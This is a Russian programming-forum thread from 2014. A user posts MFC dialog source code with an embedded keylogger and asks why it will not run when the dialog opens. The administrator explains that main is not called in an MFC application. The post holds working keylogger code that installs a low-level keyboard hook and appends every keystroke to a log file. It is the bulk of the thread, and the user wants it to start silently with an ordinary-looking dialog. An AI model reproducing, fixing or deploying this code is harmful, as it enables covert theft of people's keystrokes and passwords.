Форум программистов CodeGuru
21 Октябрь 2018, 16:44:44 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.

Войти
Новости:
 
   Начало   Помощь Войти Регистрация  
Страниц: [1]   Вниз
  Печать  
Автор Тема: Поместить код API в MFC проект  (Прочитано 4780 раз)
0 Пользователей и 1 Гость смотрят эту тему.
websaco
Новичок
*
Офлайн Офлайн

Сообщений: 1


Просмотр профиля
« : 28 Апрель 2014, 17:02:38 »

Прошу помощи специалистов. Есть некоторая функция кейлогера, которую нужно запустить при открытии диалогового окна MFC. Я поместил этот кусок кода в самый конец файла cpp.
Диалог запускается но кейлогер ничего не делает.

Не пойму как запустить саму функцию кейлогера.
Вот если тело кейлогера пихаю в консольное приложение, тогда все работает, а в диалоговом окне MFC никак.
Уже весь интернет облазил, третий день голову ломаю. Помогите, кто сможет.
Прошу практической помощи, так как не являюсь специалистом с++, прошу поправьте код.

Вот исходник самого файла DlgCpp

Код:
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h>
    #include <winuser.h>
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
    
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
    
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);          
    SetIcon(m_hIcon, FALSE);      
    
  
    // TODO: Add extra initialization here
      
    return TRUE;
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
    
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
        
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}
 
 
 
//////*************** НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА*********************************

 __declspec(dllexport) LRESULT CALLBACK KeyEvent (
      
      int nCode,    
      WPARAM wParam,
      LPARAM lParam
      
    ) {
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        {
      
  
            KBDLLHOOKSTRUCT hooked =
                *((KBDLLHOOKSTRUCT*)lParam);
      
        
            DWORD dwMsg = 1;
            dwMsg += hooked.scanCode << 16;
            dwMsg += hooked.flags << 24;
      
      
            char lpszName[0x100] = {0};
            lpszName[0] = '[';
      
            int i = GetKeyNameText(dwMsg,
                (lpszName+1),0xFF) + 1;
      
            lpszName[i] = ']';
      
        
            FILE *file;
            file=fopen("keys.log","a+");
            fputs(lpszName,file);
            fflush(file);
        }
      
        
        return CallNextHookEx(hKeyHook,
            nCode,wParam,lParam);
      
    }
 
 
 
void MsgLoop()
    {
        MSG message;
        while (GetMessage(&message,NULL,0,0)) {
            TranslateMessage( &message );
            DispatchMessage( &message );
        }
    }
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter)
    {
      
    
        HINSTANCE hExe = GetModuleHandle(NULL);
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
      
      
        if (!hExe) return 1;
      
      
      
        hKeyHook = SetWindowsHookEx (
      
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        );
      
 
      
        MsgLoop();
        UnhookWindowsHookEx(hKeyHook);
        return 0;
    }
 
 int main(int argc, char** argv)
    {
        HANDLE hThread;
        DWORD dwThread;
  
      
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
      
        if (hThread) {
            return WaitForSingleObject(hThread,INFINITE);
        } else {
            return 1;
        }
    }
////***************** КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА**************************
« Последнее редактирование: 28 Апрель 2014, 17:04:17 от websaco » Записан
3V
Администратор
Ветеран
*****
Офлайн Офлайн

Сообщений: 1347



Просмотр профиля WWW
« Ответ #1 : 06 Май 2014, 11:25:22 »

В самом конце у вас функция main.
В консольном приложении она, грубо говоря, вызывается в самом начале и по выходу из нее приложение закрывается.
В виндовом приложении вызывается WinMain (она внутри MFC).
Так что код в main не отрабатывает.
Записан

Страниц: [1]   Вверх
  Печать  
 
Перейти в:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2015, Simple Machines Valid XHTML 1.0! Valid CSS!